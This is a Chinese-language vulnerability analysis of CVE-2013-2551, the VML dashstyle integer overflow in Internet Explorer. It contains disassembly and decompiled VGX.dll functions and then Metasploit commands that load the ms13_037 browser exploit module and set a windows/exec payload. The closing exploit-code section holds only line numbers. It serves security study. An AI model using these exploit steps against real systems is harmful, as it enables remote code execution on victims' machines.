CVE-2013-2551 漏洞研究

7erry

法国安全团队 VUPEN 在 Pwn2Own 2013 大赛上利用 CVE-2013-2551 攻破了 Windows 8 的 IE 10。漏洞出现在 IE 中负责解析 VML 的 VGX.dll 模块,其中的 COALineDashStyleArray::put_length 函数在处理 <v:stroke> 标签的 dashstyle.array.length 属性时未对输入进行有效验证导致整数溢出,进而可实现任意读写与 RCE

影响范围:

IE 7 - > IE 10

Running on

Microsoft Windows Server 2003/2008/2012
Microsoft Windows XP SP2/SP3
Microsoft Windows Vista SP2
Microsoft Windows 7 SP1
Microsoft Windows 8

漏洞分析

开启 hpa 调试运行 IE 并打开样本,程序触发 Access Violation 异常而崩溃,异常触发原因为内存复制时源地址访问越界。通过栈回溯发现 Crash Point 位于 msvcrt!memcpy 函数内,其主调函数为 vgx!ORG::Get。使用 IDA 打开 VGX.dll 并定位到目标函数,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:198ECF82                               ; =============== S U B R O U T I N E =======================================
.text:198ECF82
.text:198ECF82 ; Attributes: bp-based frame
.text:198ECF82
.text:198ECF82 ; void __stdcall ORG::Get(ORG *__hidden this, void *, int)
.text:198ECF82 ?Get@ORG@@UAGXPAXH@Z proc near ; DATA XREF: .text:198D7274↑o
.text:198ECF82
.text:198ECF82 this= dword ptr 8
.text:198ECF82 arg_4= dword ptr 0Ch
.text:198ECF82 arg_8= dword ptr 10h
.text:198ECF82
.text:198ECF82 8B FF mov edi, edi
.text:198ECF84 55 push ebp
.text:198ECF85 8B EC mov ebp, esp
.text:198ECF87 83 7D 0C 00 cmp [ebp+arg_4], 0
.text:198ECF8B 74 1F jz short loc_198ECFAC
.text:198ECF8B
.text:198ECF8D 8B 4D 08 mov ecx, [ebp+this]
.text:198ECF90 8B 41 08 mov eax, [ecx+8]
.text:198ECF93 25 FF FF 00 00 and eax, 0FFFFh
.text:198ECF98 50 push eax ; Size
.text:198ECF99 0F AF 45 10 imul eax, [ebp+arg_8]
.text:198ECF9D 03 41 10 add eax, [ecx+10h]
.text:198ECFA0 50 push eax ; Src
.text:198ECFA1 FF 75 0C push [ebp+arg_4] ; void *
.text:198ECFA4 E8 00 A5 FF FF call _memcpy
.text:198ECFA4
.text:198ECFA9 83 C4 0C add esp, 0Ch
.text:198ECFA9
.text:198ECFAC
.text:198ECFAC loc_198ECFAC: ; CODE XREF: ORG::Get(void *,int)+9↑j
.text:198ECFAC 5D pop ebp
.text:198ECFAD C2 0C 00 retn 0Ch
.text:198ECFAD
.text:198ECFAD ?Get@ORG@@UAGXPAXH@Z endp
.text:198ECFAD
.text:198ECFAD ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
void __stdcall ORG::Get(ORG *this, void *a2, int a3)
{
if ( a2 )
memcpy(
a2,
(const void *)(*((_DWORD *)this + 4) + a3 * (unsigned __int16)*((_DWORD *)this + 2)),
(unsigned __int16)*((_DWORD *)this + 2));
}

在该函数处下断点,查看崩溃前 memcpy 的参数,其中内存复制的源地址指向了堆之外,与异常触发原因吻合。对异常地址进行污点分析,发现其首先来自于函数参数,栈回溯得到 ORG::Get 的主调函数为 COALineDashStyleArray::get_item,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
.text:1993D983                               ; =============== S U B R O U T I N E =======================================
.text:1993D983
.text:1993D983 ; Attributes: bp-based frame
.text:1993D983
.text:1993D983 ; int __stdcall COALineDashStyleArray::get_item(struct COAProg **this, int, int *)
.text:1993D983 ?get_item@COALineDashStyleArray@@UAGJHPAJ@Z proc near
.text:1993D983 ; DATA XREF: .text:19944988↓o
.text:1993D983
.text:1993D983 var_14= dword ptr -14h
.text:1993D983 var_4= dword ptr -4
.text:1993D983 this= dword ptr 8
.text:1993D983 arg_4= dword ptr 0Ch
.text:1993D983 arg_8= dword ptr 10h
.text:1993D983
.text:1993D983 8B FF mov edi, edi
.text:1993D985 55 push ebp
.text:1993D986 8B EC mov ebp, esp
.text:1993D988 83 EC 14 sub esp, 14h
.text:1993D98B 56 push esi
.text:1993D98C 8B 75 08 mov esi, [ebp+this]
.text:1993D98F 6A 00 push 0 ; bool
.text:1993D991 FF 76 04 push dword ptr [esi+4] ; struct COAProg *
.text:1993D994 8D 4D EC lea ecx, [ebp+var_14] ; this
.text:1993D997 68 3C 22 96 19 push offset ?s_dispStatic@?$COADispatchImpl@UIVgDashStyleArray@@$1?IID_IVgDashStyleArray@@3U_GUID@@BVCOAShapeProg@@@@1UOADISPSTATIC@@A ; struct OADISPSTATIC *
.text:1993D99C E8 A5 4E FE FF call ??0COAError@@QAE@AAUOADISPSTATIC@@AAVCOAProg@@_N@Z ; COAError::COAError(OADISPSTATIC &,COAProg &,bool)
.text:1993D99C
.text:1993D9A1 83 7D EC 00 cmp [ebp+var_14], 0
.text:1993D9A5 7D 12 jge short loc_1993D9B9
.text:1993D9A5
.text:1993D9A7
.text:1993D9A7 loc_1993D9A7: ; CODE XREF: COALineDashStyleArray::get_item(int,long *)+94↓j
.text:1993D9A7 ; COALineDashStyleArray::get_item(int,long *)+9D↓j
.text:1993D9A7 ; COALineDashStyleArray::get_item(int,long *)+A6↓j
.text:1993D9A7 8B 75 EC mov esi, [ebp+var_14]
.text:1993D9AA 8D 4D EC lea ecx, [ebp+var_14] ; this
.text:1993D9AD E8 88 63 FE FF call ??1COAError@@QAE@XZ ; COAError::~COAError(void)
.text:1993D9AD
.text:1993D9B2 8B C6 mov eax, esi
.text:1993D9B4 5E pop esi
.text:1993D9B5 C9 leave
.text:1993D9B6 C2 0C 00 retn 0Ch
.text:1993D9B6
.text:1993D9B9 ; ---------------------------------------------------------------------------
.text:1993D9B9
.text:1993D9B9 loc_1993D9B9: ; CODE XREF: COALineDashStyleArray::get_item(int,long *)+22↑j
.text:1993D9B9 8B 46 04 mov eax, [esi+4]
.text:1993D9BC 83 65 08 00 and [ebp+this], 0
.text:1993D9C0 8D 48 10 lea ecx, [eax+10h] ; this
.text:1993D9C3 E8 AD CB FE FF call ?IGetObj@CSafeRef@@QBEPAVCObjectSafe@@XZ ; CSafeRef::IGetObj(void)
.text:1993D9C3
.text:1993D9C8 8B C8 mov ecx, eax
.text:1993D9CA 83 C0 C8 add eax, 0FFFFFFC8h
.text:1993D9CD F7 D9 neg ecx
.text:1993D9CF 1B C9 sbb ecx, ecx
.text:1993D9D1 23 C8 and ecx, eax
.text:1993D9D3 8D 55 08 lea edx, [ebp+this]
.text:1993D9D6 83 C1 30 add ecx, 30h ; '0'
.text:1993D9D9 8B 01 mov eax, [ecx]
.text:1993D9DB 52 push edx
.text:1993D9DC 68 CF 01 00 00 push 1CFh
.text:1993D9E1 FF 10 call dword ptr [eax]
.text:1993D9E1
.text:1993D9E3 8B 45 08 mov eax, [ebp+this]
.text:1993D9E6 85 C0 test eax, eax
.text:1993D9E8 74 38 jz short loc_1993DA22
.text:1993D9E8
.text:1993D9EA 83 7D 0C FF cmp [ebp+arg_4], 0FFFFFFFFh
.text:1993D9EE 7E 29 jle short loc_1993DA19
.text:1993D9EE
.text:1993D9F0 8B 08 mov ecx, [eax]
.text:1993D9F2 50 push eax
.text:1993D9F3 FF 51 2C call dword ptr [ecx+2Ch]
.text:1993D9F3
.text:1993D9F6 39 45 0C cmp [ebp+arg_4], eax
.text:1993D9F9 7D 1E jge short loc_1993DA19
.text:1993D9F9
.text:1993D9FB FF 75 0C push [ebp+arg_4]
.text:1993D9FE 8B 45 08 mov eax, [ebp+this]
.text:1993DA01 83 65 FC 00 and [ebp+var_4], 0
.text:1993DA05 8B 08 mov ecx, [eax]
.text:1993DA07 8D 55 FC lea edx, [ebp+var_4]
.text:1993DA0A 52 push edx
.text:1993DA0B 50 push eax
.text:1993DA0C FF 51 1C call dword ptr [ecx+1Ch]
.text:1993DA0C
.text:1993DA0F 8B 45 10 mov eax, [ebp+arg_8]
.text:1993DA12 8B 4D FC mov ecx, [ebp+var_4]
.text:1993DA15 89 08 mov [eax], ecx
.text:1993DA17 EB 8E jmp short loc_1993D9A7
.text:1993DA17
.text:1993DA19 ; ---------------------------------------------------------------------------
.text:1993DA19
.text:1993DA19 loc_1993DA19: ; CODE XREF: COALineDashStyleArray::get_item(int,long *)+6B↑j
.text:1993DA19 ; COALineDashStyleArray::get_item(int,long *)+76↑j
.text:1993DA19 C7 45 EC 30 82 04 80 mov [ebp+var_14], 80048230h
.text:1993DA20 EB 85 jmp short loc_1993D9A7
.text:1993DA20
.text:1993DA22 ; ---------------------------------------------------------------------------
.text:1993DA22
.text:1993DA22 loc_1993DA22: ; CODE XREF: COALineDashStyleArray::get_item(int,long *)+65↑j
.text:1993DA22 C7 45 EC 05 40 00 80 mov [ebp+var_14], 80004005h
.text:1993DA29 E9 79 FF FF FF jmp loc_1993D9A7
.text:1993DA29
.text:1993DA29 ?get_item@COALineDashStyleArray@@UAGJHPAJ@Z endp
.text:1993DA29
.text:1993DA29 ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __stdcall COALineDashStyleArray::get_item(struct COAProg **this, int a2, int *a3)
{
struct COAProg **v3; // esi
int v4; // esi
struct COAProg *v6; // eax
struct CObjectSafe *v7; // eax
void (__thiscall ***v8)(_DWORD, int, struct COAProg ***); // ecx
int v9; // eax
int v10[4]; // [esp+4h] [ebp-14h] BYREF
int v11; // [esp+14h] [ebp-4h] BYREF

v3 = this;
COAError::COAError(
(COAError *)v10,
(struct OADISPSTATIC *)&COADispatchImpl<IVgDashStyleArray,&_GUID const IID_IVgDashStyleArray,COAShapeProg>::s_dispStatic,
this[1],
0);
if ( v10[0] >= 0 )
{
v6 = v3[1];
this = 0;
v7 = CSafeRef::IGetObj((struct COAProg *)((char *)v6 + 16));
v8 = (void (__thiscall ***)(_DWORD, int, struct COAProg ***))(v7 != 0 ? (unsigned int)v7 - 56 + 48 : 48);
(**v8)(v8, 463, &this);
if ( this )
{
if ( a2 <= -1 || (v9 = (*((int (__stdcall **)(struct COAProg **))*this + 11))(this), a2 >= v9) ) //* ORG::CElements(void)
{
v10[0] = -2147188176;
}
else
{
v11 = 0;
(*((void (__stdcall **)(struct COAProg **, int *, int))*this + 7))(this, &v11, a2); //* ORG::Get(void *,int)
*a3 = v11;
}
}
else
{
v10[0] = -2147467259;
}
}
v4 = v10[0];
COAError::~COAError((COAError *)v10);
return v4;
}

发现污点依旧来自于 COALineDashStyleArray::get_item 的主调函数,且其主调函数已经不在 VGX.dll 内。因此可以推断,COALineDashStyleArray::get_item 只是触发了异常,而并非造成异常的函数。在《漏洞战争》一书中,这似乎是第一次从 Crash Point 处开始追踪溯源难以分析出漏洞成因的例子。为找出漏洞函数,接下来的分析需要转向从 POC 开始分析样本是如何触发漏洞的,其中有两个关键点

  • POC 中的 crashme 函数会获取大量 shape 元素的 _vgRuntimeStyle 属性并通过它获取 rotation 属性,同时注释还提到了 COARuntimeStyle
  • POC 为 vml1 元素和 shape 元素的 dashstyle.array.length 属性赋值了 -1

借助这些信息,我们可以锁定 VGX.dll 中的 COARuntimeStyle 类和 COALineDashStyleArray 类为可疑目标,并定位到与赋值操作有关的 COALineDashStyleArray::put_length 函数,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
.text:1993DAD5                               ; =============== S U B R O U T I N E =======================================
.text:1993DAD5
.text:1993DAD5 ; Attributes: bp-based frame
.text:1993DAD5
.text:1993DAD5 ; int __stdcall COALineDashStyleArray::put_length(COALineDashStyleArray *__hidden this, int)
.text:1993DAD5 ?put_length@COALineDashStyleArray@@UAGJH@Z proc near
.text:1993DAD5 ; DATA XREF: .text:19944994↓o
.text:1993DAD5
.text:1993DAD5 var_10= dword ptr -10h
.text:1993DAD5 this= dword ptr 8
.text:1993DAD5 arg_4= dword ptr 0Ch
.text:1993DAD5
.text:1993DAD5 8B FF mov edi, edi
.text:1993DAD7 55 push ebp
.text:1993DAD8 8B EC mov ebp, esp
.text:1993DADA 83 EC 10 sub esp, 10h
.text:1993DADD 56 push esi
.text:1993DADE 8B 75 08 mov esi, [ebp+this]
.text:1993DAE1 6A 01 push 1 ; bool
.text:1993DAE3 FF 76 04 push dword ptr [esi+4] ; struct COAProg *
.text:1993DAE6 8D 4D F0 lea ecx, [ebp+var_10] ; this
.text:1993DAE9 68 3C 22 96 19 push offset ?s_dispStatic@?$COADispatchImpl@UIVgDashStyleArray@@$1?IID_IVgDashStyleArray@@3U_GUID@@BVCOAShapeProg@@@@1UOADISPSTATIC@@A ; struct OADISPSTATIC *
.text:1993DAEE E8 53 4D FE FF call ??0COAError@@QAE@AAUOADISPSTATIC@@AAVCOAProg@@_N@Z ; COAError::COAError(OADISPSTATIC &,COAProg &,bool)
.text:1993DAEE
.text:1993DAF3 83 7D F0 00 cmp [ebp+var_10], 0
.text:1993DAF7 7D 12 jge short loc_1993DB0B
.text:1993DAF7
.text:1993DAF9
.text:1993DAF9 loc_1993DAF9: ; CODE XREF: COALineDashStyleArray::put_length(int)+E1↓j
.text:1993DAF9 8B 75 F0 mov esi, [ebp+var_10]
.text:1993DAFC 8D 4D F0 lea ecx, [ebp+var_10] ; this
.text:1993DAFF E8 36 62 FE FF call ??1COAError@@QAE@XZ ; COAError::~COAError(void)
.text:1993DAFF
.text:1993DB04 8B C6 mov eax, esi
.text:1993DB06 5E pop esi
.text:1993DB07 C9 leave
.text:1993DB08 C2 08 00 retn 8
.text:1993DB08
.text:1993DB0B ; ---------------------------------------------------------------------------
.text:1993DB0B
.text:1993DB0B loc_1993DB0B: ; CODE XREF: COALineDashStyleArray::put_length(int)+22↑j
.text:1993DB0B 8B 46 04 mov eax, [esi+4]
.text:1993DB0E 83 65 08 00 and [ebp+this], 0
.text:1993DB12 57 push edi
.text:1993DB13 8D 48 10 lea ecx, [eax+10h] ; this
.text:1993DB16 E8 5A CA FE FF call ?IGetObj@CSafeRef@@QBEPAVCObjectSafe@@XZ ; CSafeRef::IGetObj(void)
.text:1993DB16
.text:1993DB1B 8B C8 mov ecx, eax
.text:1993DB1D 83 C0 C8 add eax, 0FFFFFFC8h
.text:1993DB20 F7 D9 neg ecx
.text:1993DB22 1B C9 sbb ecx, ecx
.text:1993DB24 23 C8 and ecx, eax
.text:1993DB26 8D 55 08 lea edx, [ebp+this]
.text:1993DB29 83 C1 30 add ecx, 30h ; '0'
.text:1993DB2C 8B 01 mov eax, [ecx]
.text:1993DB2E 52 push edx
.text:1993DB2F 68 CF 01 00 00 push 1CFh
.text:1993DB34 FF 10 call dword ptr [eax]
.text:1993DB34
.text:1993DB36 8B 45 08 mov eax, [ebp+this]
.text:1993DB39 85 C0 test eax, eax
.text:1993DB3B 74 71 jz short loc_1993DBAE
.text:1993DB3B
.text:1993DB3D 8B 08 mov ecx, [eax]
.text:1993DB3F 50 push eax
.text:1993DB40 FF 51 2C call dword ptr [ecx+2Ch]
.text:1993DB40
.text:1993DB43 8B 75 0C mov esi, [ebp+arg_4]
.text:1993DB46 3B C6 cmp eax, esi
.text:1993DB48 7D 55 jge short loc_1993DB9F
.text:1993DB48
.text:1993DB4A 68 01 01 00 00 push 101h ; int
.text:1993DB4F 2B F0 sub esi, eax
.text:1993DB51 33 C9 xor ecx, ecx
.text:1993DB53 6A 04 push 4
.text:1993DB55 5A pop edx
.text:1993DB56 8B C6 mov eax, esi
.text:1993DB58 F7 E2 mul edx
.text:1993DB5A 0F 90 C1 seto cl
.text:1993DB5D F7 D9 neg ecx
.text:1993DB5F 0B C8 or ecx, eax
.text:1993DB61 51 push ecx ; Size
.text:1993DB62 E8 16 5E F8 FF call ??2@YAPAXIH@Z ; operator new(uint,int)
.text:1993DB62
.text:1993DB67 8B F8 mov edi, eax
.text:1993DB69 59 pop ecx
.text:1993DB6A 59 pop ecx
.text:1993DB6B 85 FF test edi, edi
.text:1993DB6D 74 3F jz short loc_1993DBAE
.text:1993DB6D
.text:1993DB6F 8B C6 mov eax, esi
.text:1993DB71 C1 E0 02 shl eax, 2
.text:1993DB74 50 push eax ; Size
.text:1993DB75 6A 00 push 0 ; Val
.text:1993DB77 57 push edi ; void *
.text:1993DB78 E8 77 99 FA FF call _memset
.text:1993DB78
.text:1993DB7D 8B 45 08 mov eax, [ebp+this]
.text:1993DB80 8B 08 mov ecx, [eax]
.text:1993DB82 83 C4 0C add esp, 0Ch
.text:1993DB85 56 push esi
.text:1993DB86 57 push edi
.text:1993DB87 50 push eax
.text:1993DB88 FF 51 18 call dword ptr [ecx+18h]
.text:1993DB88
.text:1993DB8B 85 C0 test eax, eax
.text:1993DB8D 75 07 jnz short loc_1993DB96
.text:1993DB8D
.text:1993DB8F C7 45 F0 05 40 00 80 mov [ebp+var_10], 80004005h
.text:1993DB8F
.text:1993DB96
.text:1993DB96 loc_1993DB96: ; CODE XREF: COALineDashStyleArray::put_length(int)+B8↑j
.text:1993DB96 57 push edi ; void *
.text:1993DB97 E8 2D 79 FA FF call ??3@YAXPAX@Z ; operator delete(void *)
.text:1993DB97
.text:1993DB9C 59 pop ecx
.text:1993DB9D EB 16 jmp short loc_1993DBB5
.text:1993DB9D
.text:1993DB9F ; ---------------------------------------------------------------------------
.text:1993DB9F
.text:1993DB9F loc_1993DB9F: ; CODE XREF: COALineDashStyleArray::put_length(int)+73↑j
.text:1993DB9F 8B 4D 08 mov ecx, [ebp+this]
.text:1993DBA2 8B 11 mov edx, [ecx]
.text:1993DBA4 2B C6 sub eax, esi
.text:1993DBA6 50 push eax
.text:1993DBA7 56 push esi
.text:1993DBA8 51 push ecx
.text:1993DBA9 FF 52 28 call dword ptr [edx+28h]
.text:1993DBA9
.text:1993DBAC EB 07 jmp short loc_1993DBB5
.text:1993DBAC
.text:1993DBAE ; ---------------------------------------------------------------------------
.text:1993DBAE
.text:1993DBAE loc_1993DBAE: ; CODE XREF: COALineDashStyleArray::put_length(int)+66↑j
.text:1993DBAE ; COALineDashStyleArray::put_length(int)+98↑j
.text:1993DBAE C7 45 F0 05 40 00 80 mov [ebp+var_10], 80004005h
.text:1993DBAE
.text:1993DBB5
.text:1993DBB5 loc_1993DBB5: ; CODE XREF: COALineDashStyleArray::put_length(int)+C8↑j
.text:1993DBB5 ; COALineDashStyleArray::put_length(int)+D7↑j
.text:1993DBB5 5F pop edi
.text:1993DBB6 E9 3E FF FF FF jmp loc_1993DAF9
.text:1993DBB6
.text:1993DBB6 ?put_length@COALineDashStyleArray@@UAGJH@Z endp
.text:1993DBB6
.text:1993DBB6 ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __stdcall COALineDashStyleArray::put_length(struct COAProg **this, int a2)
{
struct COAProg **v2; // esi
int v3; // esi
struct COAProg *v5; // eax
struct CObjectSafe *v6; // eax
void (__thiscall ***v7)(_DWORD, int, struct COAProg ***); // ecx
int v8; // eax
int v9; // esi
void *v10; // edi
int v11[4]; // [esp+4h] [ebp-10h] BYREF

v2 = this;
COAError::COAError(
(COAError *)v11,
(struct OADISPSTATIC *)&COADispatchImpl<IVgDashStyleArray,&_GUID const IID_IVgDashStyleArray,COAShapeProg>::s_dispStatic,
this[1],
1);
if ( v11[0] >= 0 )
{
v5 = v2[1];
this = 0;
v6 = CSafeRef::IGetObj((struct COAProg *)((char *)v5 + 16));
v7 = (void (__thiscall ***)(_DWORD, int, struct COAProg ***))(v6 != 0 ? (unsigned int)v6 - 56 + 48 : 48);
(**v7)(v7, 463, &this);
if ( !this )
goto LABEL_10;
v8 = (*((int (__stdcall **)(struct COAProg **))*this + 11))(this); //* ORG::CElements(void)
if ( v8 >= a2 )
{
(*((void (__stdcall **)(struct COAProg **, int, int))*this + 10))(this, a2, v8 - a2); //* ORG::DeleteRange(int,int)
goto LABEL_2;
}
v9 = a2 - v8;
v10 = operator new((unsigned __int64)(unsigned int)(a2 - v8) >> 30 != 0 ? -1 : 4 * (a2 - v8), 257);
if ( !v10 )
{
LABEL_10:
v11[0] = -2147467259;
goto LABEL_2;
}
memset(v10, 0, 4 * v9);
if ( !(*((int (__stdcall **)(struct COAProg **, void *, int))*this + 6))(this, v10, v9) ) //* ORG::FAppendRange(void const *,int)
v11[0] = -2147467259;
operator delete(v10);
}
LABEL_2:
v3 = v11[0];
COAError::~COAError((COAError *)v11);
return v3;
}

查看 ORG 类虚表后能够知道该函数进行了哪些函数调用(已注释在对应位置),通过这些函数调用与函数名猜测 COALineDashStyleArray::put_length 函数会先获取对象数组的当前长度,并根据需要目标长度决定扩大还是缩小容量。在函数入口下断点进行动态分析,注意到参数 a2 为 -1,这意味者 a2 应该就是需要修改的目标长度。跟进,发现 COALineDashStyleArray::put_length 函数调用了 ORG::CElements 函数并将其返回值赋给了变量 v8,ORG::CElements 函数的反编译代码为

1
2
3
4
int __stdcall ORG::CElements(ORG *this)
{
return *((unsigned __int16 *)this + 2);
}

结合函数上下文推断 v8,或者说对象指针偏移 4 字节处的指针指向的数据即为对象数组的当前长度。由于目标长度为负数而当前长度显然会是一个非负数,程序应该会进入到缩小容量的执行路径。逐步跟进,发现 COALineDashStyleArray::put_length 函数确实调用了 ORG::DeleteRange 函数,步入的同时在 IDA 中定位 ORG::DeleteRange 函数,其反编译代码为

1
2
3
4
void __stdcall ORG::DeleteRange(ORG *this, int a2, int a3)
{
MsoDeletePx((char *)this + 4, a2, a3);
}

发现 MsoDeletePx 函数的第一个参数实际上就是对象数组的当前长度,接着步入 MsoDeletePx 函数,其反编译代码为

1
2
3
4
5
int __stdcall MsoDeletePx(_WORD *a1, int a2, int a3)
{
MsoFRemovePx(a1, a2, a3);
return MsoFCompactPx(a1, *a1 == 0);
}

步入 MsoFRemovePx 函数,其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __stdcall MsoFRemovePx(_DWORD *a1, int a2, int a3)
{
unsigned int v4; // edi
char *v5; // ecx
_DWORD *v6; // edi
int v8; // edx
char *v10; // [esp+14h] [ebp+8h]
int v11; // [esp+18h] [ebp+Ch]

v4 = (unsigned __int16)a1[1];
v5 = (char *)(a1[3] + a2 * v4);
if ( (int)a1[1] < 0 ) //* 不进入
{
v11 = 0;
v10 = v5;
v6 = v5;
while ( a3 )
{
if ( (*v6)-- == 1 )
{
++v11;
}
else
{
memcpy(v10, v6, *((unsigned __int16 *)a1 + 2));
v10 += (unsigned __int16)a1[1];
}
--a3;
v6 = (_DWORD *)((char *)v6 + (unsigned __int16)a1[1]);
}
a3 = v11;
v4 = (unsigned __int16)a1[1];
v5 = v10;
a2 = (unsigned int)&v10[-a1[3]] / v4;
}
v8 = *(unsigned __int16 *)a1;
if ( a3 + a2 != v8 && a3 > 0 ) //* 不进入
memmove(v5, &v5[a3 * v4], v4 * (v8 - a2 - a3));
*(_WORD *)a1 -= a3; //! Vulnerable Point
return a3;
}

注意到

1
2
3
4
ORG::DeleteRange(this, a2, v8 - a2); //* this 为对象指针, a2 为目标长度, v8 - a2 为当前长度与目标长度的差
MsoDeletePx((char *)this + 4, a2, a3); //* this + 4 为当前长度, a2 为目标长度, a3 为当前长度与目标长度的差
MsoFRemovePx(a1, a2, a3); //* a1 为当前长度, a2 为目标长度, a3 为当前长度与目标长度的差
*(_WORD *)a1 -= a3; //! a1 = a1 - (a1 - a2) = 当前长度 - (当前长度 - 目标长度) = a2 = 目标长度 = 0xFFFF (-1 类型转换为了 _WORD 类型)

整数溢出发生。此时对象 array 属性的 length 字段大于该数组的实际长度,故在通过数组下标读写 array 属性,即执行 vgx!COALineDashStyleArray::get_item 函数时可实现越界读,执行 vgx!COALineDashStyleArray::put_item 函数时可实现越界写,并在进一步地漏洞利用中实现 RCE

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2013-2551

搜索结果

1
2
3
4
5
6
7
8
9
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms13_037_svg_dashstyle 2013-03-06 normal No MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/browser/ms13_037_svg_dashstyle

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/ms13_037_svg_dashstyle
msf6 exploit(windows/browser/ms13_037_svg_dashstyle) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
       Name: MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow
Module: exploit/windows/browser/ms13_037_svg_dashstyle
Platform: Windows
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-03-06

Provided by:
Nicolas Joly
4B5F5F4B
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 IE 8 on Windows 7 SP1

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
Retries true no Allow the browser to retry the module
SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the lo
cal machine or ******* to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 948

Description:
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module.

The exploit has been built and tested specifically against Windows 7 SP1 with
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
bypass ASLR, and by default the info leak is used. To make sure the leak is
successful, the ntdll version should be either v6.1.7601.17514 (the default dll
version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
(installed after apply MS12-001). If the target doesn't have the version the exploit
wants, it will refuse to attack by sending a fake 404 message (webpage not found).

If you wish to try the JRE6 component instead to bypass ASLR, you can set the
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
have this particular component, the exploit will also refuse to attack by
sending a 404 message.

References:
https://nvd.nist.gov/vuln/detail/CVE-2013-2551
OSVDB (91197)
http://www.securityfocus.com/bid/58570
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/MS13-037
http://binvul.com/viewthread.php?tid=311


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/ms13_037_svg_dashstyle) > set payload windows/exec
msf6 exploit(windows/browser/ms13_037_svg_dashstyle) > set CMD calc.exe
msf6 exploit(windows/browser/ms13_037_svg_dashstyle) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其响应异常 HTML 页面以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
